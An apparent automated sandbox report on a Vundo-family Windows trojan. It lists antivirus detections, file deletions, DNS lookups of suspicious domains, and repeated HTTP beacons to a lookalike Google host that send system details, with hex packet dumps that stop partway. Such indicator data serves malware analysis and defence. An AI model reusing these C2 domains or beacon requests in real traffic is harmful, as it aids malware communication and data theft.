Analysis Date2014-12-07 14:00:30
MD5be3fa0f501ed909d0aa30a8fc69b93c9
SHA1f0cea26d44ae02d2576aa0527f3b92b35d586c7c

Static Details:

File typePE32 executable for MS Windows (GUI) Intel 80386 32-bit
PEhashdddc3dd4eee5690888e3ff3b7c25d1712d84708f
IMPhashbf08a0cef996fba5cc47064d22be86a1
AV360 SafeGen:Variant.Symmi.8415
AVAd-AwareGen:Variant.Symmi.8415
AVAlwil (avast)Agent-AQRJ [Trj]
AVArcabit (arcavir)no_virus
AVAuthentiumW32/A-b30103f0!Eldorado
AVAvira (antivir)TR/Drop.Vundo.voua
AVBullGuardGen:Variant.Symmi.8415
AVCA (E-Trust Ino)no_virus
AVCAT (quickheal)Trojan.Vundo.Gen
AVClamAVno_virus
AVDr. WebTrojan.Mayachok.18545
AVEmsisoftGen:Variant.Symmi.8415
AVEset (nod32)Win32/Kryptik.ARHJ
AVFortinetW32/Citirevo.AB!tr
AVFrisk (f-prot)no_virus
AVF-SecureGen:Variant.Symmi.8415
AVGrisoft (avg)Win32/Cryptor
AVIkarusTrojan-Dropper.Win32.Vundo
AVK7Trojan ( 0041e9941 )
AVKasperskyTrojan.Win32.Generic
AVMalwareBytesno_virus
AVMcafeeVundo-FBDM!BE3FA0F501ED
AVMicrosoft Security EssentialsTrojanDropper:Win32/Vundo.V
AVMicroWorld (escan)Gen:Variant.Symmi.8415
AVRisingno_virus
AVSophosTroj/Vundo-AK
AVSymantecno_virus
AVTrend MicroTROJ_VUNDO.SMKK
AVVirusBlokAda (vba32)Backdoor.Cidox

Runtime Details:

Screenshot

Process
↳ C:\malware.exe

Creates FileC:\Documents and Settings\Administrator\My Documents\Iterra\0105.tmp
Creates FileC:\Documents and Settings\Administrator\My Documents\Iterra\T03emp03.reg
Deletes FileC:\Documents and Settings\Administrator\Local Settings\Temporary Internet Files\Content.IE5\desktop.ini
Deletes FileC:\Documents and Settings\Administrator\Local Settings\Temporary Internet Files\Content.IE5\BSDHA97U\desktop.ini
Deletes FileC:\Documents and Settings\Administrator\Local Settings\Temporary Internet Files\Content.IE5\index.dat
Deletes FileC:\Documents and Settings\Administrator\Local Settings\Temporary Internet Files\Content.IE5\IIQ3LGTM\desktop.ini
Deletes FileC:\Documents and Settings\Administrator\Local Settings\Temporary Internet Files\desktop.ini
Deletes FileC:\Documents and Settings\Administrator\Local Settings\Temporary Internet Files\Content.IE5\658HSJSD\desktop.ini
Deletes FileC:\Documents and Settings\Administrator\Local Settings\Temporary Internet Files\Content.IE5\D4Z32ED8\desktop.ini
Deletes FileC:\Documents and Settings\Administrator\Cookies\index.dat

Process
↳ Pid 368

Network Details:

DNSgeodeline.com
Type: A
208.73.210.200
DNSgeodeline.com
Type: A
208.73.210.214
DNSgeodeline.com
Type: A
208.73.210.217
DNSgeodeline.com
Type: A
208.73.211.178
DNSdetoxist.com
Type: A
141.8.225.80
DNSdebijonda.com
Type: A
141.8.225.80
DNSveroconma.com
Type: A
74.117.179.241
DNStheloamva.com
Type: A
141.8.225.80
DNSvornedix.com
Type: A
141.8.225.80
DNSdentagod.com
Type: A
141.8.225.80
DNSliteworns.com
Type: A
141.8.225.80
DNSvengibit.com
Type: A
141.8.225.80
DNStryangets.com
Type: A
141.8.225.80
DNSgetintsu.com
Type: A
141.8.225.80
DNSgetavodes.com
Type: A
209.222.14.3
DNStryatdns.com
Type: A
209.222.14.3
DNSfescheck.com
Type: A
109.234.109.82
DNSinzavora.com
Type: A
141.8.225.80
DNSdegoog1etag.com
Type: A
DNSgetinball.com
Type: A
DNSnetrovad.com
Type: A
DNSterrans.su
Type: A
DNSclickstano.com
Type: A
DNSdenareclick.com
Type: A
DNSclickbeta.ru
Type: A
DNSnshouse1.com
Type: A
DNSclickclans.ru
Type: A
HTTP GEThttp://analystics.google.com/phpbb/get.php?id=C059900AEA75E06FXXXXXXXXXXXX0000&key=448&av=0&vm=0&al=0&p=744&os=5.1.2600.3&z=458&hash=CvCnBjVj8IOM33A9LfOGdBknjy9aWzAJFE8Jx7rHtUT7vZ61zgWyg53ZsGgzTE6HJfZjcKzGZG82ZthJGfRxJ/Kf8jvs3paq
User-Agent:
HTTP GEThttp://analystics.google.com/phpbb/get.php?id=C059900AEA75E06FXXXXXXXXXXXX0000&key=448&av=0&vm=0&al=0&p=744&os=5.1.2600.3&z=458&hash=CvCnBjVj8IOM33A9LfOGdBknjy9aWzAJFE8Jx7rHtUT7vZ61zgWyg53ZsGgzTE6HJfZjcKzGZG82ZthJGfRxJ/Kf8jvs3paq
User-Agent:
HTTP GEThttp://analystics.google.com/phpbb/get.php?id=C059900AEA75E06FXXXXXXXXXXXX0000&key=448&av=0&vm=0&al=0&p=744&os=5.1.2600.3&z=458&hash=CvCnBjVj8IOM33A9LfOGdBknjy9aWzAJFE8Jx7rHtUT7vZ61zgWyg53ZsGgzTE6HJfZjcKzGZG82ZthJGfRxJwm4o9SnGB/J
User-Agent:
HTTP GEThttp://analystics.google.com/phpbb/get.php?id=C059900AEA75E06FXXXXXXXXXXXX0000&key=448&av=0&vm=0&al=0&p=744&os=5.1.2600.3&z=458&hash=CvCnBjVj8IOM33A9LfOGdBknjy9aWzAJFE8Jx7rHtUT7vZ61zgWyg53ZsGgzTE6HJfZjcKzGZG82ZthJGfRxJxJUo4go3YD4
User-Agent:
HTTP GEThttp://analystics.google.com/phpbb/get.php?id=C059900AEA75E06FXXXXXXXXXXXX0000&key=448&av=0&vm=0&al=0&p=744&os=5.1.2600.3&z=458&hash=CvCnBjVj8IOM33A9LfOGdBknjy9aWzAJFE8Jx7rHtUT7vZ61zgWyg53ZsGgzTE6HJfZjcKzGZG82ZthJGfRxJxJUo4go3YD4
User-Agent:
HTTP GEThttp://analystics.google.com/phpbb/get.php?id=C059900AEA75E06FXXXXXXXXXXXX0000&key=448&av=0&vm=0&al=0&p=744&os=5.1.2600.3&z=458&hash=CvCnBjVj8IOM33A9LfOGdBknjy9aWzAJFE8Jx7rHtUT7vZ61zgWyg53ZsGgzTE6HJfZjcKzGZG82ZthJGfRxJwclWuxfCl1Z
User-Agent:
HTTP GEThttp://analystics.google.com/phpbb/get.php?id=C059900AEA75E06FXXXXXXXXXXXX0000&key=448&av=0&vm=0&al=0&p=744&os=5.1.2600.3&z=458&hash=CvCnBjVj8IOM33A9LfOGdBknjy9aWzAJFE8Jx7rHtUT7vZ61zgWyg53ZsGgzTE6HJfZjcKzGZG82ZthJGfRxJwclWuxfCl1Z
User-Agent:
HTTP GEThttp://analystics.google.com/phpbb/get.php?id=C059900AEA75E06FXXXXXXXXXXXX0000&key=448&av=0&vm=0&al=0&p=744&os=5.1.2600.3&z=458&hash=CvCnBjVj8IOM33A9LfOGdBknjy9aWzAJFE8Jx7rHtUT7vZ61zgWyg53ZsGgzTE6HJfZjcKzGZG82ZthJGfRxJyXBzEkrm4+J
User-Agent:
HTTP GEThttp://analystics.google.com/phpbb/get.php?id=C059900AEA75E06FXXXXXXXXXXXX0000&key=448&av=0&vm=0&al=0&p=744&os=5.1.2600.3&z=458&hash=CvCnBjVj8IOM33A9LfOGdBknjy9aWzAJFE8Jx7rHtUT7vZ61zgWyg53ZsGgzTE6HJfZjcKzGZG82ZthJGfRxJ7j58Mt9pUKd
User-Agent:
HTTP GEThttp://analystics.google.com/phpbb/get.php?id=C059900AEA75E06FXXXXXXXXXXXX0000&key=448&av=0&vm=0&al=0&p=744&os=5.1.2600.3&z=458&hash=CvCnBjVj8IOM33A9LfOGdBknjy9aWzAJFE8Jx7rHtUT7vZ61zgWyg53ZsGgzTE6HJfZjcKzGZG82ZthJGfRxJ7j58Mt9pUKd
User-Agent:
HTTP GEThttp://analystics.google.com/phpbb/get.php?id=C059900AEA75E06FXXXXXXXXXXXX0000&key=448&av=0&vm=0&al=0&p=744&os=5.1.2600.3&z=458&hash=CvCnBjVj8IOM33A9LfOGdBknjy9aWzAJFE8Jx7rHtUT7vZ61zgWyg53ZsGgzTE6HJfZjcKzGZG82ZthJGfRxJ7j58Mt9pUKd
User-Agent:
HTTP GEThttp://analystics.google.com/phpbb/get.php?id=C059900AEA75E06FXXXXXXXXXXXX0000&key=448&av=0&vm=0&al=0&p=744&os=5.1.2600.3&z=458&hash=CvCnBjVj8IOM33A9LfOGdBknjy9aWzAJFE8Jx7rHtUT7vZ61zgWyg53ZsGgzTE6HJfZjcKzGZG82ZthJGfRxJ6vCE0j/e3VF
User-Agent:
HTTP GEThttp://analystics.google.com/phpbb/get.php?id=C059900AEA75E06FXXXXXXXXXXXX0000&key=448&av=0&vm=0&al=0&p=744&os=5.1.2600.3&z=458&hash=CvCnBjVj8IOM33A9LfOGdBknjy9aWzAJFE8Jx7rHtUT7vZ61zgWyg53ZsGgzTE6HJfZjcKzGZG82ZthJGfRxJ1pHsERQuhqI
User-Agent:
HTTP GEThttp://analystics.google.com/phpbb/get.php?id=C059900AEA75E06FXXXXXXXXXXXX0000&key=448&av=0&vm=0&al=0&p=744&os=5.1.2600.3&z=458&hash=CvCnBjVj8IOM33A9LfOGdBknjy9aWzAJFE8Jx7rHtUT7vZ61zgWyg53ZsGgzTE6HJfZjcKzGZG82ZthJGfRxJxZPBke157mf
User-Agent:
HTTP GEThttp://analystics.google.com/phpbb/get.php?id=C059900AEA75E06FXXXXXXXXXXXX0000&key=448&av=0&vm=0&al=0&p=744&os=5.1.2600.3&z=458&hash=CvCnBjVj8IOM33A9LfOGdBknjy9aWzAJFE8Jx7rHtUT7vZ61zgWyg53ZsGgzTE6HJfZjcKzGZG82ZthJGfRxJ7j58Mt9pUKd
User-Agent:
HTTP GEThttp://analystics.google.com/phpbb/get.php?id=C059900AEA75E06FXXXXXXXXXXXX0000&key=448&av=0&vm=0&al=0&p=744&os=5.1.2600.3&z=458&hash=CvCnBjVj8IOM33A9LfOGdBknjy9aWzAJFE8Jx7rHtUT7vZ61zgWyg53ZsGgzTE6HJfZjcKzGZG82ZthJGfRxJ/sbiN3Yf/pl
User-Agent:
Flows TCP192.168.1.1:1031 ➝ 208.73.210.200:80
Flows TCP192.168.1.1:1032 ➝ 141.8.225.80:80
Flows TCP192.168.1.1:1033 ➝ 141.8.225.80:80
Flows TCP192.168.1.1:1034 ➝ 74.117.179.241:80
Flows TCP192.168.1.1:1035 ➝ 141.8.225.80:80
Flows TCP192.168.1.1:1036 ➝ 141.8.225.80:80
Flows TCP192.168.1.1:1037 ➝ 141.8.225.80:80
Flows TCP192.168.1.1:1038 ➝ 141.8.225.80:80
Flows TCP192.168.1.1:1039 ➝ 141.8.225.80:80
Flows TCP192.168.1.1:1040 ➝ 141.8.225.80:80
Flows TCP192.168.1.1:1041 ➝ 141.8.225.80:80
Flows TCP192.168.1.1:1042 ➝ 209.222.14.3:80
Flows TCP192.168.1.1:1043 ➝ 209.222.14.3:80
Flows TCP192.168.1.1:1044 ➝ 109.234.109.82:80
Flows TCP192.168.1.1:1045 ➝ 141.8.225.80:80
Flows TCP192.168.1.1:1046 ➝ 91.220.35.154:80

Raw Pcap
0x00000000 (00000)   47455420 2f706870 62622f67 65742e70   GET /phpbb/get.p
0x00000010 (00016)   68703f69 643d4330 35393930 30414541   hp?id=C059900AEA
0x00000020 (00032)   37354530 36465858 58585858 58585858   75E06FXXXXXXXXXX
0x00000030 (00048)   58583030 3030266b 65793d34 34382661   XX0000&key=448&a
0x00000040 (00064)   763d3026 766d3d30 26616c3d 3026703d   v=0&vm=0&al=0&p=
0x00000050 (00080)   37343426 6f733d35 2e312e32 3630302e   744&os=5.1.2600.
0x00000060 (00096)   33267a3d 34353826 68617368 3d437643   3&z=458&hash=CvC
0x00000070 (00112)   6e426a56 6a38494f 4d333341 394c664f   nBjVj8IOM33A9LfO
0x00000080 (00128)   4764426b 6e6a7939 61577a41 4a464538   GdBknjy9aWzAJFE8
0x00000090 (00144)   4a783772 48745554 37765a36 317a6757   Jx7rHtUT7vZ61zgW
0x000000a0 (00160)   79673533 5a734767 7a544536 484a665a   yg53ZsGgzTE6HJfZ
0x000000b0 (00176)   6a634b7a 475a4738 325a7468 4a476652   jcKzGZG82ZthJGfR
0x000000c0 (00192)   784a2f4b 66386a76 73337061 71204854   xJ/Kf8jvs3paq HT
0x000000d0 (00208)   54502f31 2e310d0a 486f7374 3a20616e   TP/1.1..Host: an
0x000000e0 (00224)   616c7973 74696373 2e676f6f 676c652e   alystics.google.
0x000000f0 (00240)   636f6d0d 0a0d0a                       com....

0x00000000 (00000)   47455420 2f706870 62622f67 65742e70   GET /phpbb/get.p
0x00000010 (00016)   68703f69 643d4330 35393930 30414541   hp?id=C059900AEA
0x00000020 (00032)   37354530 36465858 58585858 58585858   75E06FXXXXXXXXXX
0x00000030 (00048)   58583030 3030266b 65793d34 34382661   XX0000&key=448&a
0x00000040 (00064)   763d3026 766d3d30 26616c3d 3026703d   v=0&vm=0&al=0&p=
0x00000050 (00080)   37343426 6f733d35 2e312e32 3630302e   744&os=5.1.2600.
0x00000060 (00096)   33267a3d 34353826 68617368 3d437643   3&z=458&hash=CvC
0x00000070 (00112)   6e426a56 6a38494f 4d333341 394c664f   nBjVj8IOM33A9LfO
0x00000080 (00128)   4764426b 6e6a7939 61577a41 4a464538   GdBknjy9aWzAJFE8
0x00000090 (00144)   4a783772 48745554 37765a36 317a6757   Jx7rHtUT7vZ61zgW
0x000000a0 (00160)   79673533 5a734767 7a544536 484a665a   yg53ZsGgzTE6HJfZ
0x000000b0 (00176)   6a634b7a 475a4738 325a7468 4a476652   jcKzGZG82ZthJGfR
0x000000c0 (00192)   784a2f4b 66386a76 73337061 71204854   xJ/Kf8jvs3paq HT
0x000000d0 (00208)   54502f31 2e310d0a 486f7374 3a20616e   TP/1.1..Host: an
0x000000e0 (00224)   616c7973 74696373 2e676f6f 676c652e   alystics.google.
0x000000f0 (00240)   636f6d0d 0a0d0a                       com....

0x00000000 (00000)   47455420 2f706870 62622f67 65742e70   GET /phpbb/get.p
0x00000010 (00016)   68703f69 643d4330 35393930 30414541   hp?id=C059900AEA
0x00000020 (00032)   37354530 36465858 58585858 58585858   75E06FXXXXXXXXXX
0x00000030 (00048)   58583030 3030266b 65793d34 34382661   XX0000&key=448&a
0x00000040 (00064)   763d3026 766d3d30 26616c3d 3026703d   v=0&vm=0&al=0&p=
0x00000050 (00080)   37343426 6f733d35 2e312e32 3630302e   744&os=5.1.2600.
0x00000060 (00096)   33267a3d 34353826 68617368 3d437643   3&z=458&hash=CvC
0x00000070 (00112)   6e426a56 6a38494f 4d333341 394c664f   nBjVj8IOM33A9LfO
0x00000080 (00128)   4764426b 6e6a7939 61577a41 4a464538   GdBknjy9aWzAJFE8
0x00000090 (00144)   4a783772 48745554 37765a36 317a6757   Jx7rHtUT7vZ61zgW
0x000000a0 (00160)   79673533 5a734767 7a544536 484a665a   yg53ZsGgzTE6HJfZ
0x000000b0 (00176)   6a634b7a 475a4738 325a7468 4a476652   jcKzGZG82ZthJGfR
0x000000c0 (00192)   784a776d 346f3953 6e47422f 4a204854   xJwm4o9SnGB/J HT
0x000000d0 (00208)   54502f31 2e310d0a 486f7374 3a20616e   TP/1.1..Host: an
0x000000e0 (00224)   616c7973 74696373 2e676f6f 676c652e   alystics.google.
0x000000f0 (00240)   636f6d0d 0a0d0a                       com....

0x00000000 (00000)   47455420 2f706870 62622f67 65742e70   GET /phpbb/get.p
0x00000010 (00016)   68703f69 643d4330 35393930 30414541   hp?id=C059900AEA
0x00000020 (00032)   37354530 36465858 58585858 58585858   75E06FXXXXXXXXXX
0x00000030 (00048)   58583030 3030266b 65793d34 34382661   XX0000&key=448&a
0x00000040 (00064)   763d3026 766d3d30 26616c3d 3026703d   v=0&vm=0&al=0&p=
0x00000050 (00080)   37343426 6f733d35 2e312e32 3630302e   744&os=5.1.2600.
0x00000060 (00096)   33267a3d 34353826 68617368 3d437643   3&z=458&hash=CvC
0x00000070 (00112)   6e426a56 6a38494f 4d333341 394c664f   nBjVj8IOM33A9LfO
0x00000080 (00128)   4764426b 6e6a7939 61577a41 4a464538   GdBknjy9aWzAJFE8
0x00000090 (00144)   4a783772 48745554 37765a36 317a6757   Jx7rHtUT7vZ61zgW
0x000000a0 (00160)   79673533 5a734767 7a544536 484a665a   yg53ZsGgzTE6HJfZ
0x000000b0 (00176)   6a634b7a 475a4738 325a7468 4a476652   jcKzGZG82ZthJGfR
0x000000c0 (00192)   784a784a 556f3467 6f335944 34204854   xJxJUo4go3YD4 HT
0x000000d0 (00208)   54502f31 2e310d0a 486f7374 3a20616e   TP/1.1..Host: an
0x000000e0 (00224)   616c7973 74696373 2e676f6f 676c652e   alystics.google.
0x000000f0 (00240)   636f6d0d 0a0d0a                       com....

0x00000000 (00000)   47455420 2f706870 62622f67 65742e70   GET /phpbb/get.p
0x00000010 (00016)   68703f69 643d4330 35393930 30414541   hp?id=C059900AEA
0x00000020 (00032)   37354530 36465858 58585858 58585858   75E06FXXXXXXXXXX
0x00000030 (00048)   58583030 3030266b 65793d34 34382661   XX0000&key=448&a
0x00000040 (00064)   763d3026 766d3d30 26616c3d 3026703d   v=0&vm=0&al=0&p=
0x00000050 (00080)   37343426 6f733d35 2e312e32 3630302e   744&os=5.1.2600.
0x00000060 (00096)   33267a3d 34353826 68617368 3d437643   3&z=458&hash=CvC
0x00000070 (00112)   6e426a56 6a38494f 4d333341 394c664f   nBjVj8IOM33A9LfO
0x00000080 (00128)   4764426b 6e6a7939 61577a41 4a464538   GdBknjy9aWzAJFE8
0x00000090 (00144)   4a783772 48745554 37765a36 317a6757   Jx7rHtUT7vZ61zgW
0x000000a0 (00160)   79673533 5a734767 7a544536 484a665a   yg53ZsGgzTE6HJfZ
0x000000b0 (00176)   6a634b7a 475a4738 325a7468 4a476652   jcKzGZG82ZthJGfR
0x000000c0 (00192)   784a784a 556f3467 6f335944 34204854   xJxJUo4go3YD4 HT
0x000000d0 (00208)   54502f31 2e310d0a 486f7374 3a20616e   TP/1.1..Host: an
0x000000e0 (00224)   616c7973 74696373 2e676f6f 676c652e   alystics.google.
0x000000f0 (00240)   636f6d0d 0a0d0a                       com....

0x00000000 (00000)   47455420 2f706870 62622f67 65742e70   GET /phpbb/get.p
0x00000010 (00016)   68703f69 643d4330 35393930 30414541   hp?id=C059900AEA
0x00000020 (00032)   37354530 36465858 58585858 58585858   75E06FXXXXXXXXXX
0x00000030 (00048)   58583030 3030266b 65793d34 34382661   XX0000&key=448&a
0x00000040 (00064)   763d3026 766d3d30 26616c3d 3026703d   v=0&vm=0&al=0&p=
0x00000050 (00080)   37343426 6f733d35 2e312e32 3630302e   744&os=5.1.2600.
0x00000060 (00096)   33267a3d 34353826 68617368 3d437643   3&z=458&hash=CvC
0x00000070 (00112)   6e426a56 6a38494f 4d333341 394c664f   nBjVj8IOM33A9LfO
0x00000080 (00128)   4764426b 6e6a7939 61577a41 4a464538   GdBknjy9aWzAJFE8
0x00000090 (00144)   4a783772 48745554 37765a36 317a6757   Jx7rHtUT7vZ61zgW
0x000000a0 (00160)   79673533 5a734767 7a544536 484a665a   yg53ZsGgzTE6HJfZ
0x000000b0 (00176)   6a634b7a 475a4738 325a7468 4a476652   jcKzGZG82ZthJGfR
0x000000c0 (00192)   784a7763 6c577578 66436c31 5a204854   xJwclWuxfCl1Z HT
0x000000d0 (00208)   54502f31 2e310d0a 486f7374 3a20616e   TP/1.1..Host: an
0x000000e0 (00224)   616c7973 74696373 2e676f6f 676c652e   alystics.google.
0x000000f0 (00240)   636f6d0d 0a0d0a                       com....

0x00000000 (00000)   47455420 2f706870 62622f67 65742e70   GET /phpbb/get.p
0x00000010 (00016)   68703f69 643d4330 35393930 30414541   hp?id=C059900AEA
0x00000020 (00032)   37354530 36465858 58585858 58585858   75E06FXXXXXXXXXX
0x00000030 (00048)   58583030 3030266b 65793d34 34382661   XX0000&key=448&a
0x00000040 (00064)   763d3026 766d3d30 26616c3d 3026703d   v=0&vm=0&al=0&p=
0x00000050 (00080)   37343426 6f733d35 2e312e32 3630302e   744&os=5.1.2600.
0x00000060 (00096)   33267a3d 34353826 68617368 3d437643   3&z=458&hash=CvC
0x00000070 (00112)   6e426a56 6a38494f 4d333341 394c664f   nBjVj8IOM33A9LfO
0x00000080 (00128)   4764426b 6e6a7939 61577a41 4a464538   GdBknjy9aWzAJFE8
0x00000090 (00144)   4a783772 48745554 37765a36 317a6757   Jx7rHtUT7vZ61zgW
0x000000a0 (00160)   79673533 5a734767 7a544536 484a665a   yg53ZsGgzTE6HJfZ
0x000000b0 (00176)   6a634b7a 475a4738 325a7468 4a476652   jcKzGZG82ZthJGfR
0x000000c0 (00192)   784a7763 6c577578 66436c31 5a204854   xJwclWuxfCl1Z HT
0x000000d0 (00208)   54502f31 2e310d0a 486f7374 3a20616e   TP/1.1..Host: an
0x000000e0 (00224)   616c7973 74696373 2e676f6f 676c652e   alystics.google.
0x000000f0 (00240)   636f6d0d 0a0d0a                       com....

0x00000000 (00000)   47455420 2f706870 62622f67 65742e70   GET /phpbb/get.p
0x00000010 (00016)   68703f69 643d4330 35393930 30414541   hp?id=C059900AEA
0x00000020 (00032)   37354530 36465858 58585858 58585858   75E06FXXXXXXXXXX
0x00000030 (00048)   58583030 3030266b 65793d34 34382661   XX0000&key=448&a
0x00000040 (00064)   763d3026 766d3d30 26616c3d 3026703d   v=0&vm=0&al=0&p=
0x00000050 (00080)   37343426 6f733d35 2e312e32 3630302e   744&os=5.1.2600.
0x00000060 (00096)   33267a3d 34353826 68617368 3d437643   3&z=458&hash=CvC
0x00000070 (00112)   6e426a56 6a38494f 4d333341 394c664f   nBjVj8IOM33A9LfO
0x00000080 (00128)   4764426b 6e6a7939 61577a41 4a464538   GdBknjy9aWzAJFE8
0x00000090 (00144)   4a783772 48745554 37765a36 317a6757   Jx7rHtUT7vZ61zgW
0x000000a0 (00160)   79673533 5a734767 7a544536 484a665a   yg53ZsGgzTE6HJfZ
0x000000b0 (00176)   6a634b7a 475a4738 325a7468 4a476652   jcKzGZG82ZthJGfR
0x000000c0 (00192)   784a7958 427a456b 726d342b 4a204854   xJyXBzEkrm4+J HT
0x000000d0 (00208)   54502f31 2e310d0a 486f7374 3a20616e   TP/1.1..Host: an
0x000000e0 (00224)   616c7973 74696373 2e676f6f 676c652e   alystics.google.
0x000000f0 (00240)   636f6d0d 0a0d0a                       com....

0x00000000 (00000)   47455420 2f706870 62622f67 65742e70   GET /phpbb/get.p
0x00000010 (00016)   68703f69 643d4330 35393930 30414541   hp?id=C059900AEA
0x00000020 (00032)   37354530 36465858 58585858 58585858   75E06FXXXXXXXXXX
0x00000030 (00048)   58583030 3030266b 65793d34 34382661   XX0000&key=448&a
0x00000040 (00064)   763d3026 766d3d30 26616c3d 3026703d   v=0&vm=0&al=0&p=
0x00000050 (00080)   37343426 6f733d35 2e312e32 3630302e   744&os=5.1.2600.
0x00000060 (00096)   33267a3d 34353826 68617368 3d437643   3&z=458&hash=CvC
0x00000070 (00112)   6e426a56 6a38494f 4d333341 394c664f   nBjVj8IOM33A9LfO
0x00000080 (00128)   4764426b 6e6a7939 61577a41 4a464538   GdBknjy9aWzAJFE8
0x00000090 (00144)   4a783772 48745554 37765a36 317a6757   Jx7rHtUT7vZ61zgW
0x000000a0 (00160)   79673533 5a734767 7a544536 484a665a   yg53ZsGgzTE6HJfZ
0x000000b0 (00176)   6a634b7a 475a4738 325a7468 4a476652   jcKzGZG82ZthJGfR
0x000000c0 (00192)   784a376a 35384d74 3970554b 64204854   xJ7j58Mt9pUKd HT
0x000000d0 (00208)   54502f31 2e310d0a 486f7374 3a20616e   TP/1.1..Host: an
0x000000e0 (00224)   616c7973 74696373 2e676f6f 676c652e   alystics.google.
0x000000f0 (00240)   636f6d0d 0a0d0a                       com....

0x00000000 (00000)   47455420 2f706870 62622f67 65742e70   GET /phpbb/get.p
0x00000010 (00016)   68703f69 643d4330 35393930 30414541   hp?id=C059900AEA
0x00000020 (00032)   37354530 36465858 58585858 58585858   75E06FXXXXXXXXXX
0x00000030 (00048)   58583030 3030266b 65793d34 34382661   XX0000&key=448&a
0x00000040 (00064)   763d3026 766d3d30 26616c3d 3026703d   v=0&vm=0&al=0&p=
0x00000050 (00080)   37343426 6f733d35 2e312e32 3630302e   744&os=5.1.2600.
0x00000060 (00096)   33267a3d 34353826 68617368 3d437643   3&z=458&hash=CvC
0x00000070 (00112)   6e426a56 6a38494f 4d333341 394c664f   nBjVj8IOM33A9LfO
0x00000080 (00128)   4764426b 6e6a7939 61577a41 4a464538   GdBknjy9aWzAJFE8
0x00000090 (00144)   4a783772 48745554 37765a36 317a6757   Jx7rHtUT7vZ61zgW
0x000000a0 (00160)   79673533 5a734767 7a544536 484a665a   yg53ZsGgzTE6HJfZ
0x000000b0 (00176)   6a634b7a 475a4738 325a7468 4a476652   jcKzGZG82ZthJGfR
0x000000c0 (00192)   784a376a 35384d74 3970554b 64204854   xJ7j58Mt9pUKd HT
0x000000d0 (00208)   54502f31 2e310d0a 486f7374 3a20616e   TP/1.1..Host: an
0x000000e0 (00224)   616c7973 74696373 2e676f6f 676c652e   alystics.google.
0x000000f0 (00240)   636f6d0d 0a0d0a                       com....

0x00000000 (00000)   47455420 2f706870 62622f67 65742e70   GET /phpbb/get.p
0x00000010 (00016)   68703f69 643d4330 35393930 30414541   hp?id=C059900AEA
0x00000020 (00032)   37354530 36465858 58585858 58585858   75E06FXXXXXXXXXX
0x00000030 (00048)   58583030 3030266b 65793d34 34382661   XX0000&key=448&a
0x00000040 (00064)   763d3026 766d3d30 26616c3d 3026703d   v=0&vm=0&al=0&p=
0x00000050 (00080)   37343426 6f733d35 2e312e32 3630302e   744&os=5.1.2600.
0x00000060 (00096)   33267a3d 34353826 68617368 3d437643   3&z=458&hash=CvC
0x00000070 (00112)   6e426a56 6a38494f 4d333341 394c664f   nBjVj8IOM33A9LfO
0x00000080 (00128)   4764426b 6e6a7939 61577a41 4a464538   GdBknjy9aWzAJFE8
0x00000090 (00144)   4a783772 48745554 37765a36 317a6757   Jx7rHtUT7vZ61zgW
0x000000a0 (00160)   79673533 5a734767 7a544536 484a665a   yg53ZsGgzTE6HJfZ
0x000000b0 (00176)   6a634b7a 475a4738 325a7468 4a476652   jcKzGZG82ZthJGfR
0x000000c0 (00192)   784a376a 35384d74 3970554b 64204854   xJ7j58Mt9pUKd HT
0x000000d0 (00208)   54502f31 2e310d0a 486f7374 3a20616e   TP/1.1..Host: an
0x000000e0 (00224)   616c7973 74696373 2e676f6f 676c652e   alystics.google.
0x000000f0 (00240)   636f6d0d 0a0d0a                       com....

0x00000000 (00000)   47455420 2f706870 62622f67 65742e70   GET /phpbb/get.p
0x00000010 (00016)   68703f69 643d4330 35393930 30414541   hp?id=C059900AEA
0x00000020 (00032)   37354530 36465858 58585858 58585858   75E06FXXXXXXXXXX
0x00000030 (00048)   58583030 3030266b 65793d34 34382661   XX0000&key=448&a
0x00000040 (00064)   763d3026 766d3d30 26616c3d 3026703d   v=0&vm=0&al=0&p=
0x00000050 (00080)   37343426 6f733d35 2e312e32 3630302e   744&os=5.1.2600.
0x00000060 (00096)   33267a3d 34353826 68617368 3d437643   3&z=458&hash=CvC
0x00000070 (00112)   6e426a56 6a38494f 4d333341 394c664f   nBjVj8IOM33A9LfO
0x00000080 (00128)   4764426b 6e6a7939 61577a41 4a464538   GdBknjy9aWzAJFE8
0x00000090 (00144)   4a783772 48745554 37765a36 317a6757   Jx7rHtUT7vZ61zgW
0x000000a0 (00160)   79673533 5a734767 7a544536 484a665a   yg53ZsGgzTE6HJfZ
0x000000b0 (00176)   6a634b7a 475a4738 325a7468 4a476652   jcKzGZG82ZthJGfR
0x000000c0 (00192)   784a3676 4345306a 2f653356 46204854   xJ6vCE0j/e3VF HT
0x000000d0 (00208)   54502f31 2e310d0a 486f7374 3a20616e   TP/1.1..Host: an
0x000000e0 (00224)   616c7973 74696373 2e676f6f 676c652e   alystics.google.
0x000000f0 (00240)   636f6d0d 0a0d0a                       com....

0x00000000 (00000)   47455420 2f706870 62622f67 65742e70   GET /phpbb/get.p
0x00000010 (00016)   68703f69 643d4330 35393930 30414541   hp?id=C059900AEA
0x00000020 (00032)   37354530 36465858 58585858 58585858   75E06FXXXXXXXXXX
0x00000030 (00048)   58583030 3030266b 65793d34 34382661   XX0000&key=448&a
0x00000040 (00064)   763d3026 766d3d30 26616c3d 3026703d   v=0&vm=0&al=0&p=
0x00000050 (00080)   37343426 6f733d35 2e312e32 3630302e   744&os=5.1.2600.
0x00000060 (00096)   33267a3d 34353826 68617368 3d437643   3&z=458&hash=CvC
0x00000070 (00112)   6e426a56 6a38494f 4d333341 394c664f   nBjVj8IOM33A9LfO
0x00000080 (00128)   4764426b 6e6a7939 61577a41 4a464538   GdBknjy9aWzAJFE8
0x00000090 (00144)   4a783772 48745554 37765a36 317a6757   Jx7rHtUT7vZ61zgW
0x000000a0 (00160)   79673533 5a734767 7a544536 484a665a   yg53ZsGgzTE6HJfZ
0x000000b0 (00176)   6a634b7a 475a4738 325a7468 4a476652   jcKzGZG82ZthJGfR
0x000000c0 (00192)   784a3170 48734552 51756871 49204854   xJ1pHsERQuhqI HT
0x000000d0 (00208)   54502f31 2e310d0a 486f7374 3a20616e   TP/1.1..Host: an
0x000000e0 (00224)   616c7973 74696373 2e676f6f 676c652e   alystics.google.
0x000000f0 (00240)   636f6d0d 0a0d0a                       com....

0x00000000 (00000)   47455420 2f706870 62622f67 65742e70   GET /phpbb/get.p
0x00000010 (00016)   68703f69 643d4330 35393930 30414541   hp?id=C059900AEA
0x00000020 (00032)   37354530 36465858 58585858 58585858   75E06FXXXXXXXXXX
0x00000030 (00048)   58583030 3030266b 65793d34 34382661   XX0000&key=448&a
